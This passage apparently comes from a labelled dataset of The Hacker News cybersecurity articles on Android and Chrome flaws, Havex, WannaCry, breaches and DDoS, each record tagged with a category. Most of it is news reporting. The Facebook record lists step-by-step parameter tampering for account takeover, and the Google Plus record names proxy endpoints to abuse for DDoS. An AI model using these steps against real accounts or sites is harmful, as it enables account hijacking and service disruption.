Interestingly, this vulnerability could be triggered while you sleep, as it's not even necessary for you to open the file because as soon as your device receives the media file, the file system will cause Mediaserver to process it.

The vulnerability was discovered in early January and affects Android versions 4.4.4 KitKat through 7.1.2 Nougat.

Kernel-level Vulnerabilities in Qualcomm

Google has also patched four critical vulnerabilities that stemmed from Qualcomm components and could allow an attacker to gain high-level (root) privileges on an Android device.

Two critical vulnerabilities (CVE-2016-10275 and CVE-2016-10276) in Qualcomm bootloader create conditions ripe for an elevation of privilege attacks, enabling ""a local malicious application to execute arbitrary code within the context of the kernel,"" according to the bulletin.

Another critical Qualcomm bug (CVE-2017-0604) in power driver could also allow a local malicious application to execute malicious code on the device within the context of the kernel, which is the most privileged area of the OS.

No Evidence of Flaws Being Exploited in the Wild

Six of the 17 critical patches are addressed with the 2017-05-01 partial security patches, while the remaining 11 critical security flaws affecting various drivers, libraries and bootloaders are patched in the 2017-05-05 complete patch level.

Good news is that Google assured its users that there are no reports of any of the security vulnerabilities being exploited in the wild.

Google says, having two patch levels ""provide Android partners with the flexibility to more quickly fix a subset of vulnerabilities that are similar across all Android devices.""

So, users are strongly advised to download the most recent Android security update to keep their devices protected against any potential attack.

Nexus and Pixel devices will receive the complete patch in an over-the-air update in the coming days, or the owners can download it directly from Google's developer site.

It's also worth noting that Google revealed last week that the Nexus 6 and Nexus 9, which were released in November 2014, would no longer be ""guaranteed"" to receive security updates after October 2017.

A similar timeline has been offered for newer Pixel and Pixel XL handsets of October 2019. After that, the tech giant will only push necessary security fixes to those devices.

",Vulnerability
Stuxnet-like 'Havex' Malware Strikes European SCADA Systems,https://thehackernews.com/2014/06/stuxnet-like-havex-malware-strikes.html,"Security researchers have uncovered a new Stuxnet like malware, named as ""Havex"", which was used in a number of previous cyber attacks against organizations in the energy sector.

Just like Famous Stuxnet Worm, which was specially designed to sabotage the Iranian nuclear project, the new trojan Havex is also programmed to infect industrial control system softwares of SCADA and ICS systems, with the capability to possibly disable hydroelectric dams, overload nuclear power plants, and even can shut down a country's power grid with a single keystroke.

According to security firm F-Secure who first discovered it as Backdoor:W32/Havex.A., it is a generic remote access Trojan (RAT) and has recently been used to carry out industrial espionage against a number of companies in Europe that use or develop industrial applications and machines.

SMARTY PANTS, TROJANIZED INSTALLERS
To accomplish this, besides traditional infection methods such as exploit kits and spam emails, cybercriminals also used an another effective method to spread Havex RAT, i.e. hacking the websites of software companies and waiting for the targets to install trojanized versions of legitimate apps.

During installation, the trojanized software setup drops a file called ""mbcheck.dll"", which is actually Havex malware, that attackers are using as a backdoor. ""The C&C server will [then] instruct infected computers to download and execute further components,""
""We gathered and analyzed 88 variants of the Havex RAT used to gain access to, and harvest data from, networks and machines of interest. This analysis included investigation of 146 command and control (C&C) servers contacted by the variants, which in turn involved tracing around 1500 IP addresses in an attempt to identify victims."" F-Secure said.
F-secure didn't mention the names of the affected vendors, but an industrial machine producer and two educational organizations in France, with companies in Germany were targeted.

INFORMATION GATHERING
Havex RAT is equipped with a new component, whose purpose is to gather network and connected devices information by leveraging the OPC (Open Platform Communications) standard.
OPC is a communications standard that allows interaction between Windows-based SCADA applications and process control hardware. The malware scans the local network for the devices that respond to OPC requests to gather information about industrial control devices and then sends that information back to its command-and-control (C&C) server.

Other than this, it also include information-harvesting tools that gather data from the infected systems, such as:
Operating system related information
A Credential-harvesting tool that stole passwords stored on open web browsers
A component that communicates to different Command-&-Control servers using custom protocols and execute tertiary payloads in memory.
""So far, we have not seen any payloads that attempt to control the connected hardware."" F-secure confirmed.
MOTIVATION?
While their motivation is unclear at this point, ""We also identified an additional component used by the attackers that includes code to harvest data from infected machines used in ICS/SCADA systems. This indicates that the attackers are not just interested in compromising the networks of companies they are interested in, but are also motivated in having control of the ICS/SCADA systems in those organizations."" F-Secure noticed.

HAVEX TROJAN FROM RUSSIANS ?
In January this year, Cybersecurity firm CrowdStrike revealed about a cyber espionage campaign, dubbed ""Energetic Bear,"" where hackers possibly tied to Russian Federation penetrating the computer networks of energy companies in Europe, the United States and Asia.

According to CrowdStrike, the Malwares used in those cyber attacks were HAVEX RAT and SYSMain RAT, and possibly HAVEX RAT is itself a newer version of the SYSMain RAT, and both tools have been operated by the attackers since at least 2011.

That means, It is possible that Havex RAT could be somehow linked to Russian hackers or state-sponsored by Russian Government.

",Malware
DDoS Attack Using Google Plus Servers,https://thehackernews.com/2011/08/ddos-attack-using-google-plus-servers.html,"A Security expert at Italian security firm AIR Sicurezza Informatica has claimed that Google's servers vulnerability allows a hacker to exploit the search giant's bandwidth to launch a distributed denial-of-service (DDoS) attack on any targeted server.

On the IHTeam Security Blog, Simone Quatrini, demonstrates how users can make Google's servers act as a proxy to fetch content on their behalf.

Quatrini has written a shell script that will repeatedly prompt Google's servers to make requests to a site of the attacker's choice, effectively using Google's bandwidth rather than their own, in an effort to prevent it from functioning.

The advantage of using Google and make requests through their servers, is to be even more anonymous when you attack some site (TOR+This method) and the funny thing is that apache will log Google IP addresses.

But beware: gadgets/proxy? will send your ip in apache log, if you want to attack, you'll need to use /_/sharebox/linkpreview/.

WORKING
Using vulnerable pages i.e. ""/_/sharebox/linkpreview/"" and ""gadgets/proxy?"", it is possible to request any file type from the external source, and Google Plus servers will download it to show the content. So, if you parallelize so many requests at same time, it will be possible to perform a significant DDoS attack against any website with Google's bandwidth.

",Vulnerability
Critical SQLite Flaw Leaves Millions of Apps Vulnerable to Hackers,https://thehackernews.com/2018/12/sqlite-vulnerability.html,"Cybersecurity researchers have discovered a critical vulnerability in widely used SQLite database software that exposes billions of deployments to hackers.

Dubbed as 'Magellan' by Tencent's Blade security team, the newly discovered SQLite flaw could allow remote attackers to execute arbitrary or malicious code on affected devices, leak program memory or crash applications.

SQLite is a lightweight, widely used disk-based relational database management system that requires minimal support from operating systems or external libraries, and hence compatible with almost every device, platform, and programming language.

SQLite is the most widely deployed database engine in the world today, which is being used by millions of applications with literally billions of deployments, including IoT devices, macOS and Windows apps, including major web browsers, such as Adobe software, Skype and more.

Since Chromium-based web browsers—including Google Chrome, Opera, Vivaldi, and Brave—also support SQLite through the deprecated Web SQL database API, a remote attacker can easily target users of affected browsers just by convincing them into visiting a specially crafted web-page.

""After testing Chromium was also affected by this vulnerability, Google has confirmed and fixed this vulnerability,"" the researchers said in a blog post.

SQLite has released updated version 3.26.0 of its software to address the issue after receiving responsible disclosure from the researchers.

Google has also released Chromium version 71.0.3578.80 to patch the issue and pushed the patched version to the latest version of Google Chrome and Brave web-browsers.

Tencent researchers said they successfully build a proof-of-concept exploit using the Magellan vulnerability and successfully tested their exploit against Google Home.

Since most applications can't be patched anytime sooner, researchers have decided not to disclose technical details and proof-of-concept exploit code to the public.

""We will not disclose any details of the vulnerability at this time, and we are pushing other vendors to fix this vulnerability as soon as possible,"" the researchers said.

Since SQLite is used by everybody including Adobe, Apple, Dropbox, Firefox, Android, Chrome, Microsoft and a bunch of other software, the Magellan vulnerability is a noteworthy issue, even if it's not yet been exploited in the wild.

Users and administrators are highly recommended to update their systems and affected software versions to the latest release as soon as they become available.

Stay tuned for more information.

",Vulnerability
"First widely distributed Android bootkit Malware infects more than 350,000 Devices",https://thehackernews.com/2014/01/first-widely-distributed-android.html,"In the last quarter of 2013, sale of a Smartphone with ANDROID operating system has increased and every second person you see is a DROID user.

A Russian security firm 'Doctor Web' identified the first mass distributed Android bootkit malware called 'Android.Oldboot', a piece of malware that's designed to re-infect devices after reboot, even if you delete all working components of it.

The bootkit Android.Oldboot has infected more than 350,000 android users in China, Spain, Italy, Germany, Russia, Brazil, the USA and some Southeast Asian countries. China seems to a mass victim of this kind of malware having a 92 % share.

A Bootkit is a rootkit malware variant which infects the device at start-up and may encrypt disk or steal data, remove the application, open connection for Command and controller.

A very unique technique is being used to inject this Trojan into an Android system where an attacker places a component of it into the boot partition of the file system and modify the 'init' script (initialize the operating system) to re-load the malware as you switch on your android.

When you start your device, this script loads the Trojan 'imei_chk' (detects it as Android.Oldboot.1) which extract two files libgooglekernel.so (Android.Oldboot.2) and GoogleKernel.apk (Android.Oldboot.1.origin), copy them respectively in /system/lib and /system/app.

Android.Oldboot acts as a system service and connects to the command-and-controller server using libgooglekernel.so library and receives commands to download, remove installed apps, and install malicious apps.

Since it becomes a part of the boot partition, formatting the device will not solve the problem. The researchers believe that the devices somehow had the malware pre-loaded at the time of shipping from the manufacturer, or was likely distributed inside modified Android firmware. So, users should beware of certain modified Android firmware.

Two weeks ago, Some Chinese Security Researchers have also detected a bootkit called 'Oldboot', possibly the same malware or another variant of it.
""Due to the special RAM disk feature of Android devices' boot partition, all current mobile antivirus products in the world can't completely remove this Trojan or effectively repair the system.""

""According to our statistics, as of today, there're more than 500, 000 Android devices infected by this bootkit in China in last six months.
The Android malware Android.Oldboot is almost impossible to remove, not even with formatting your device. But if your device is not from a Chinese manufacturer, then chances that you are a victim of it, are very less.

This bootkit is not the first of this kind. Two years back, in the month of March we reported, NQ Mobile Security Research Center uncovered the world's first Android bootkit malware called 'DKFBootKit', that replaces certain boot processes and can begin running even before the system is completely booted up.

But Android.Oldboot malware is a bit more dangerous because even if you remove all working components of it from your android successfully, the component imei_chk will persist in a protected boot memory area and hence will reinstall itself on next boot and continuously infect the Smartphone.

Users are recommended to install apps from authorized stores such as Google Play, disable installation of apps from 'Unknown Sources' and for a better security install a reputed security application.

You can also try to re-flash your device with its original ROM. After flashing, the bootkit will be removed.

",Malware
New Chrome 0-day Under Active Attacks – Update Your Browser Now,https://thehackernews.com/2020/10/chrome-zeroday-attacks.html,"Attention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today.
Google released Chrome version 86.0.4240.111 today to patch several security high-severity issues, including a zero-day vulnerability that has been exploited in the wild by attackers to hijack targeted computers.
Tracked as CVE-2020-15999, the actively exploited vulnerability is a type of memory-corruption flaw called heap buffer overflow in Freetype, a popular open source software development library for rendering fonts that comes packaged with Chrome.
The vulnerability was discovered and reported by security researcher Sergei Glazunov of Google Project Zero on October 19 and is subject to a seven-day public disclosure deadline due to the flaw being under active exploitation.
Glazunov also immediately reported the zero-day vulnerability to FreeType developers, who then developed an emergency patch to address the issue on October 20 with the release of FreeType 2.10.4.
Without revealing technical details of the vulnerability, the technical lead for Google's Project Zero Ben Hawkes warned on Twitter that while the team has only spotted an exploit targeting Chrome users, it's possible that other projects that use FreeType might also be vulnerable and are advised to deploy the fix included in FreeType version 2.10.4.
""While we only saw an exploit for Chrome, other users of freetype should adopt the fix discussed here: https://savannah.nongnu.org/bugs/?59308 -- the fix is also in today's stable release of FreeType 2.10.4,"" Hawkes writes.
According to details shared by Glazunov, the vulnerability exists in the FreeType's function ""Load_SBit_Png,"" which processes PNG images embedded into fonts. It can be exploited by attackers to execute arbitrary code just by using specifically crafted fonts with embedded PNG images.
""The issue is that libpng uses the original 32-bit values, which are saved in `png_struct`. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won't be able to fit the bitmap,"" Glazunov explained.
Glazunov also published a font file with a proof-of-concept exploit.
Google released Chrome 86.0.4240.111 as Chrome's ""stable"" version, which is available to all users, not just to opted-in early adopters, saying that the company is aware of reports that ""an exploit for CVE-2020-15999 exists in the wild,"" but did not reveal further details of the active attacks.
Besides the FreeType zero-day vulnerability, Google also patched four other flaws in the latest Chrome update, three of which are high-risk vulnerabilities—an inappropriate implementation bug in Blink, a use after free bug in Chrome's media, and use after free bug in PDFium—and one medium-risk use after free issue in browser's printing function.
Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to ""Help → About Google Chrome"" from the menu.

",Malware
TSMC Chip Maker Blames WannaCry Malware for Production Halt,https://thehackernews.com/2018/08/tsmc-wannacry-ransomware-attack.html,"Taiwan Semiconductor Manufacturing Company (TSMC)—the world's largest makers of semiconductors and processors—was forced to shut down several of its chip-fabrication factories over the weekend after being hit by a computer virus.

Now, it turns out that the computer virus outbreak at Taiwan chipmaker was the result of a variant of WannaCry—a massive ransomware attack that wreaked havoc across the world by shutting down hospitals, telecom providers, and many businesses in May 2017.

TSMC shut down an entire day of production this weekend after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones, which could impact revenue by approx $256 million.

According to the semiconductor manufacturer, its computer systems were not direct attacked by any hacker, but instead, were exposed to the malware ""when a supplier installed tainted software without a virus scan"" to TSMC's network.

The virus then quickly spread to more than 10,000 machines in some of the company's most advanced facilities, including Tainan, Hsinchu, and Taichung—home to some of the cutting-edge fabrication plants that produce semiconductors for Apple.

Although unnamed in its official statement, TSMC reportedly blamed a variant of the 2017 WannaCry ransomware attack for the infection.

""We are surprised and shocked,"" TSMC CEO C.C. Wei said, ""We have installed tens of thousands of tools before, and this is the first time this happened.""

Claimed to be developed and spread by North Korea, the WannaCry ransomware shut down hospitals, telecom providers, and many businesses worldwide, infecting hundreds of thousands of computers in over 150 countries within just 72 hours in May 2017.

The WannaCry victims included big names like Boeing, Renault, Honda, FedEx and the UK's National Health Service.

The WannaCry worm was leveraging an NSA's Windows SMB exploit, known as EternalBlue, leaked by the infamous hacking group Shadow Brokers in its April data dump, along with other Windows exploits.

TSMC assured its customers that no confidential information was stolen, and said the company has resumed full operations at its facilities, but shipment delays are expected.

However, the chipmaker declined to discuss the implications for Apple, which is said to be ramping up production of 3 new iPhone models for this fall.

Besides being Apple's sole supplier of SoC components for iPhones and iPads, TSMC also manufactures processors and other silicon chips for many of the industry's biggest tech companies, including AMD, NVIDIA, Qualcomm, and others.
",Malware
LifeLabs Paid Hackers to Recover Stolen Medical Data of 15 Million Canadians,https://thehackernews.com/2019/12/lifelabs-data-breach.html,"LifeLabs, the largest provider of healthcare laboratory testing services in Canada, has suffered a massive data breach that exposed the personal and medical information of nearly 15 million Canadians customers.

The company announced the breach in a press release posted on its website, revealing that an unknown attacker unauthorizedly accessed its computer systems last month and stole customers' information, including their:


Names
Addresses
Email addresses
Login information
Passwords, for their LifeLabs account
Dates of birth
Health card numbers
Lab test results


The Toronto-based company discovered the data breach at the end of October, but the press release does not say anything about the identity of the attacker(s) and how they managed to infiltrate its systems.

However, LifeLabs admitted it paid an undisclosed amount of ransom to the hackers to retrieve the stolen data, which indicates that the attack might have been carried out using a ransomware style malware with data exfiltration abilities.

""Retrieving the data by making a payment. We did this in collaboration with experts familiar with cyber-attacks and negotiations with cybercriminals,"" the company said while announcing several measures it took to protect its customers' information.

LifeLabs also said the majority of affected customers, who used its labs for diagnostic, naturopathic, and genetic tests, reside in British Columbia and Ontario, with relatively few customers in other locations.

""In the case of lab test results, our investigations to date of these systems indicate that there are 85,000 impacted customers from 2016 or earlier located in Ontario; we will be working to notify these customers directly,"" the press release read.

""Our investigation to date indicates any instance of health care information was from 2016 or earlier.""

LifeLabs said it immediately involved ""world-class cybersecurity experts"" to isolate and secure the affected computer systems and determine the scope of the cyber attack.

The company also stated that it had already notified law enforcement, privacy commissioners, and government partners to investigate the breach incident.

While LifeLabs has taken several steps to fix the system issues related to the cyber attack and strengthen its cyber defenses by placing additional safeguards to protect your information, it is also offering one free year of identity theft insurance.

""Any customer who is concerned about this incident can receive one free year of protection that includes dark web monitoring and identity theft insurance,"" LifeLabs said.

Since the exposed data includes users' account login information, affected users are strongly advised to change their passwords on the company's website as well as on any other where they have reused the same password.
",Data_Breaches
"Memcached DDoS Exploit Code and List of 17,000 Vulnerable Servers Released",https://thehackernews.com/2018/03/memcached-ddos-exploit-code.html,"Two separate proofs-of-concept (PoC) exploit code for Memcached amplification attack have been released online that could allow even script-kiddies to launch massive DDoS attacks using UDP reflections easily.

The first DDoS tool is written in C programming language and works with a pre-compiled list of vulnerable Memcached servers.

Bonus—its description already includes a list of nearly 17,000 potential vulnerable Memcached servers left exposed on the Internet.

Whereas, the second Memcached DDoS attack tool is written in Python that uses Shodan search engine API to obtain a fresh list of vulnerable Memcached servers and then sends spoofed source UDP packets to each server.

Last week we saw two record-breaking DDoS attacks—1.35 Tbps hit Github and 1.7 Tbps attack against an unnamed US-based company—which were carried out using a technique called amplification/reflection attack.

For those unaware, Memcached-based amplification/reflection attack amplifies bandwidth of the DDoS attacks by a factor of 51,000 by exploiting thousands of misconfigured Memcached servers left exposed on the Internet.

Memcached is a popular open source distributed memory caching system, which came into news earlier last week when researchers detailed how hackers could abuse it to launch amplification/reflection DDoS attack by sending a forged request to the targeted Memcached server on port 11211 using a spoofed IP address that matches the victim's IP.

A few bytes of the request sent to the vulnerable Memcached server can trigger tens of thousands of times bigger response against the targeted IP address, resulting in a powerful DDoS attack.
For a detailed explanation on how Memcached amplification attack works, you can head on to our previous article.

Since last week when Memcached has been revealed as a new amplification/reflection attack vector, some hacking groups started exploiting unsecured Memcached servers.

But now the situation will get worse with the release of PoC exploit code, allowing anyone to launch massive DDoS attacks, and will not come under control until the last vulnerable Memcached server is patched, or firewalled on port 11211, or completely taken offline.

Moreover, cybercriminals groups have already started weaponizing this new DDoS technique to threaten big websites for extorting money.

Following last week's DDoS attack on GitHub, Akamai reported its customers received extortion messages delivered alongside the typically ""junk-filled"" attack payloads, asking them for 50 XMR (Monero coins), valued at over $15,000.

Reflection/amplification attacks are not new. Attackers have previously used this DDoS attack technique to exploit flaws in DNS, NTP, SNMP, SSDP, Chargen and other protocols in order to maximize the scale of their cyber attacks.

To mitigate the attack and prevent Memcached servers from being abused as reflectors, the best option is to bind Memcached to a local interface only or entirely disable UDP support if not in use.

",Cyber_Attack
Hackers Exploit VPN to Deploy SUPERNOVA malware on SolarWinds Orion,https://thehackernews.com/2021/04/hackers-exploit-vpn-flaw-to-deploy.html,"The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has disclosed details of a new advanced persistent threat (APT) that's leveraging the Supernova backdoor to compromise SolarWinds Orion installations after gaining access to the network through a connection to a Pulse Secure VPN device.
""The threat actor connected to the entity's network via a Pulse Secure virtual private network (VPN) appliance, moved laterally to its SolarWinds Orion server, installed malware referred to by security researchers as SUPERNOVA (a .NET web shell), and collected credentials,"" the agency said on Thursday.
CISA said it identified the threat actor during an incident response engagement at an unnamed organization and found that the attacker had access to the enterprise's network for nearly a year through the use of the VPN credentials between March 2020 and February 2021.
Interestingly, the adversary is said to have used valid accounts that had multi-factor authentication (MFA) enabled, rather than an exploit for a vulnerability, to connect to the VPN, thus allowing them to masquerade as legitimate teleworking employees of the affected entity.
In December 2020, Microsoft disclosed that a second espionage group may have been abusing the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on target systems. The intrusions have since been attributed to a China-linked threat actor called Spiral.
Unlike Sunburst and other pieces of malware that have been connected to the SolarWinds compromise, Supernova is a .NET web shell implemented by modifying an ""app_web_logoimagehandler.ashx.b6031896.dll"" module of the SolarWinds Orion application. The modifications were made possible by leveraging an authentication bypass vulnerability in the Orion API tracked as CVE-2020-10148, in turn permitting a remote attacker to execute unauthenticated API commands.
An investigation into the incident is ongoing. In the meantime, CISA is recommending organizations to implement MFA for privileged accounts, enable firewalls to filter unsolicited connection requests, enforce strong password policies, and secure Remote Desktop Protocol (RDP) and other remote access solutions.

",Cyber_Attack
Buffer Overflow vulnerability in VLC media player,https://thehackernews.com/2013/02/buffer-overflow-vulnerability-in-vlc.html,"VideoLAN recently published a security advisory warning of a buffer overflow vulnerability in versions 2.0.5 and earlier of VLC Media Player, which might be exploited to execute arbitrary code. This vulnerability was reported by Debasish Mandal.

The vulnerability is caused due to an error in the ""DemuxPacket()"" function (modules/demux/asf/asf.c) when processing ASF files and can be exploited to cause a buffer overflow via a specially crafted ASF file. To exploit the vulnerability, a user must explicitly open a specially crafted ASF movie.

Successful exploitation may allow execution of arbitrary code, but requires tricking a user into opening a malicious file.

VideoLAN advises users to refrain from opening files from untrusted locations and to disable the VLC browser plug-ins until the issue is patched. A patch will be included in VLC 2.0.6, the next version of the media player, which is only available for testing purposes at the moment.

",Vulnerability
Researchers Leak PoC Exploit for a Critical Windows RCE Vulnerability,https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html,"A proof-of-concept (PoC) exploit related to a remote code execution vulnerability affecting Windows Print Spooler and patched by Microsoft earlier this month was briefly published online before being taken down.
Identified as CVE-2021-1675, the security issue could grant remote attackers full control of vulnerable systems. Print Spooler manages the printing process in Windows, including loading the appropriate printer drivers and scheduling the print job for printing, among others.
Print Spooler flaws are concerning, not least because of the wide attack surface, but also owing to the fact that it runs at the highest privilege level and is capable of dynamically loading third-party binaries.
The Windows maker addressed the vulnerability as part of its Patch Tuesday update on June 8, 2021. But almost two weeks later, Microsoft revised the flaw's impact from an elevation of privilege to remote code execution (RCE) as well as upgraded the severity level from Important to Critical.
""Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document),"" Microsoft said in its advisory.
Things took a turn when Chinese security firm QiAnXin earlier this week disclosed it was able to find the ""right approaches"" to leverage the flaw, thereby demonstrating a successful exploitation to achieve RCE.
Although the researchers refrained from sharing additional technical specifics, Hong Kong-based cybersecurity company Sangfor published what's an independent deep-dive of the same vulnerability to GitHub, along with a fully working PoC code, where it remained publicly accessible before it was taken offline a few hours later.
Sangfor codenamed the vulnerability ""PrintNightmare.""
""We deleted the PoC of PrintNightmare. To mitigate this vulnerability, please update Windows to the latest version, or disable the Spooler service,"" tweeted Sangfor's Principal Security Researcher Zhiniang Peng. The findings are expected to be presented at the Black Hat USA conference next month.
Windows Print Spooler has long been a source of security vulnerabilities, with Microsoft fixing at least three issues — CVE-2020-1048, CVE-2020-1300, and CVE-2020-1337 — in the past year alone. Notably, a flaw in the service was also abused to gain remote access and propagate the Stuxnet worm in 2010 targeting Iranian nuclear installations.
Update — There are now indications that the fix released by Microsoft for the critical remote code execution vulnerability in the Windows Print spooler service in June does not completely remediate the root cause of the bug, according to the CERT Coordination Center, raising the possibility that it's a zero-day flaw in need of a patch.
""While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675,"" CERT/CC's Will Dormann said in a vulnerability note published Wednesday.
It's worth noting that the successful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. We have reached out to Microsoft for comment, and we will update the story when we hear back.
In light of the latest disclosure, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) is recommending that administrators ""disable the Windows Print spooler service in Domain Controllers and systems that do not print.""

",Vulnerability
Personal Data of 50 Million Turkish Citizens Leaked Online,https://thehackernews.com/2016/04/personal-data-leaked.html,"Personal details of nearly 50 Million Turkish citizens, including the country's President Recep Tayyip Erdogan, have been compromised and posted online in a massive security breach.

A database, which contains 49,611,709 records, appeared on the website of an Icelandic group on Monday, offering download links to anyone interested.

If confirmed, the data breach would be one of the biggest public breaches of its kind, effectively putting two-thirds of the Nation's population at risk of identity theft and fraud.

However, The Associated Press (AP) reported on Monday that it was able to partially verify the authenticity of 8 out of 10 non-public Turkish ID numbers against the names in the data leak.

50 Million Turkish Citizens' Personal Data leaked Online

The leaked database (about 6.6 GB file) contains the following information:
First and last names
National identifier numbers (TC Kimlik No)
Gender
City of birth
Date of birth
Full address
ID registration city and district
User's mother and Father's first names
To prove the authenticity of the data, the group of hackers published the personal details of Turkish President Recep Tayyip Erdogan, along with his predecessor Abdullah Gul, and Prime Minister Ahmet Davutoglu.

The attack seems to be politically motivated, as the hackers wrote the following message on the database's front page, featuring Erdogan's profile:
""Who would have imagined that backwards ideologies, cronyism and rising religious extremism in Turkey would lead to a crumbling and vulnerable technical infrastructure?""

Lessons Posted by Hackers

Besides the leaked database, the hackers also provided some lessons to learn from this leak. Under the heading Lessons for Turkey, the hackers wrote:
'Bit shifting isn't encryption,' referring to the fact that the data was improperly protected.
'Index your database. We had to fix your sloppy DB work.'
'Putting a hardcoded password on the UI hardly does anything for security,' though the hackers didn't specify in what UI.
'Do something about Erdogan! He is destroying your country beyond recognition.'
Under the heading Lessons for the United States, the hackers addressed US citizens, asking them not to elect Republican front-runner Donald Trump since he 'sounds like he knows even less about running a country than Erdogan does.'

Links to Download the Database

The database is available online on a Finland-based server. Though the source of the leaked data is currently unknown, it is likely from a Turkish public administration office that deals with users' personal information.

If the authenticity of all 50 Million records gets verified, the breach will be the biggest leaks after the one that occurred in U.S. government's Office of Personnel Management (OPM) in April 2015 that…

...compromised the personal information of over 22 Million U.S. federal employees, contractors, retirees and others, and exposed Millions of sensitive and classified documents.

",Data_Breaches
Desktop Viruses Coming to Your TV and Connected Home Appliances,https://thehackernews.com/2014/04/Viruses-Malware-hacking-Internet-of-things-TV.html,"Smart Devices are growing at an exponential rate and so are the threats to them.

After your Computers, Servers, Routers, Mobiles and Tablets, now hackers are targeting your Smart TVs, warns Eugene Kaspersky the co-founder and chief executive of Kaspersky Lab.

As the increase in the manufactures of Smart TVs by different companies, it could be estimated that by 2016, over 100 million TVs are expected to be connected to the Internet and in the time it may rise as a profitable fruit for the malware authors and cyber criminals to exploit these devices.

The 48 year-old Eugene Kaspersky, one of the world's top technology security experts, has thrown light on the future of Computer Security and warned that Internet of Things (IoT) such as TVs, Refrigerators, Microwave or dishwashers will necessarily bring undesirable cyber threats to your home environment, because any device connected to the Internet is vulnerable and can be infected.

""The threats will diversify to mobile phones and to the home environment, such as through televisions, which are now connected to the Internet,"" he said in an interview with the Telegraph.

The Internet of Things is said to be the next evolutionary step in our connected world that has been already become a major target for cyber criminals.

We have reported before that how 100,000 Refrigerators and other smart household appliances were compromised by hackers to send out 750,000 malicious spam emails; A Linux worm 'Linux.Darlloz' is hijacking Home Routers, Set-top boxes, Security Cameras, printers to mine Crypto Currencies like Bitcoin.

So, the malicious software that already caused damages to your desktops, laptops and targeted your mobile devices till now, is ready to cause harm to your Smart TVs and other Internet connected smart devices.

Kaspersky said his company's global research and development headquarters in Moscow is receiving around 315,000 suspicious activity reports on daily basis, that has doubled over the past year. The threats might crawl to the new sectors other than mobile phones and computer systems.

""There are millions of attacks a year on Microsoft Windows, thousands on mobile phones, mostly on Android, and dozens on Apple's iOS. But more and more engineers are developing software for Android,"" he said.

But according to him ""technically it is possible to infect millions of devices"" because all devices are vulnerable and it is very much possible to see cyber criminals developing viruses for iOS devices.

The fact that I really like what he says, ""What's the difference been a TV and a computer? A bigger screen and a remote control. It has Android inside and memory chips and Internet connections. That's all."" Well said!

He also warned users that as the Internet of Things (IoTs) increases, users need to have top security packages installed on their devices.

""It's just a question of time. We already have a product for mobile and we have a prototype for TV so we are ready to address this issue when new malware for television is released by criminals.""

In the last few years, this emerging domain for the Internet of Things has been attracting the significant interest, and will continue for the years to come. It would be a $20 Trillion Market over the next several years, but Security and privacy are the key issues for such applications, and still face some enormous challenges.

",Malware
Facebook hacked in Zero-Day Attack,https://thehackernews.com/2013/02/facebook-hacked-in-zero-day-attack.html,"Facebook operator of the largest social network with more than 1 billion members, said on Friday it had been the target of an unidentified hacker group, but that no user information was compromised during the attack.

The attack occurred when a handful of the company's employees visited a developer's compromised website, which led to malware being installed on their laptops.


'Last month, Facebook Security discovered that our systems had been targeted in a sophisticated attack,' read the statement, despite the laptops being 'fully-patched and running up-to-date anti-virus software.'

Reports say Facebook knew about the attacks, which likely exploited a zero-day Java software flaw, well before the announcement.

""We are working continuously and closely with our own internal engineering teams, with security teams at other companies, and with law enforcement authorities to learn everything we can about the attack, and how to prevent similar incidents in the future,"" Facebook said on its website.

Facebook was not alone in this attack, Twitter social network, said earlier this month that it had been hacked, and that approximately 2,50,000 user accounts were potentially compromised, with attackers gaining access to information including user names and email addresses.

",Malware
Backdoored PhpMyAdmin distributed at SourceForge site,https://thehackernews.com/2012/09/backdoored-phpmyadmin-distributed-at.html,"A security issue has been reported in phpMyAdmin, which can be exploited by malicious people to compromise a vulnerable system. The security issue is caused due to the distribution of a compromised phpMyAdmin source code package containing a backdoor, which can be exploited to e.g. execute arbitrary PHP code.

One of the SourceForge.net mirrors, namely cdnetworks-kr-1, was being used to distribute a modified archive of phpMyAdmin, which includes a backdoor. This backdoor is located in file server_sync.php and allows an attacker to remotely execute PHP code. Another file, js/cross_framing_protection.js, has also been modified.

SourceForge.Net is the world's largest open source software development website. A very large impact on the domestic users with this incident. The vulnerability has been cataloged as being a critical one.

A screenshot as shown of a system containing a malicious backdoor that was snuck into the open-source phpMyAdmin package.

On official website in issue ""PMASA-2012-5"" developers said ""We currently know only about phpMyAdmin-3.5.2.2-all-languages.zip being affected,"".

It's not the first time a widely used open-source project has been hit by a breach affecting the security of its many downstream users. In June of last year, WordPress required all account holders on WordPress.org to change their passwords following the discovery that hackers contaminated it with malicious software.


",Malware
Hacking Facebook Account with just a text message,https://thehackernews.com/2013/06/Hacking-Facebook-account-hack-tool.html,"Can you ever imagine that a single text message is enough to hack any Facebook account without user interaction or without using any other malicious stuff like Trojans, phishing, keylogger etc. ?

Today we are going to explain you that how a UK based Security Researcher, ""fin1te"" is able to hack any Facebook account within a minute by doing one SMS.

Because 90% of us are Facebook user too, so we know that there is an option of linking your mobile number with your account, which allows you to receive Facebook account updates via SMS directly to your mobile and also you can login into your account using that linked number rather than your email address or username.
According to hacker, the loophole was in phone number linking process, or in technical terms, at file /ajax/settings/mobile/confirm_phone.php

This particular webpage works in background when user submit his phone number and verification code, sent by Facebook to mobile. That submission form having two main parameters, one for verification code, and second is profile_id, which is the account to link the number to.


As attacker, follow these steps to execute hack:
Change value of profile_id to the Victim's profile_id value by tampering the parameters.
Send the letter F to 32665, which is Facebook's SMS shortcode in the UK. You will receive an 8 character verification code back.
Enter that code in the box or as confirmation_code parameter value and Submit the form.

Facebook will accept that confirmation code and attacker's mobile number will be linked to victim's Facebook profile.

In next step hacker just need to go to Forgot password option and initiate the password reset request against of victim's account.
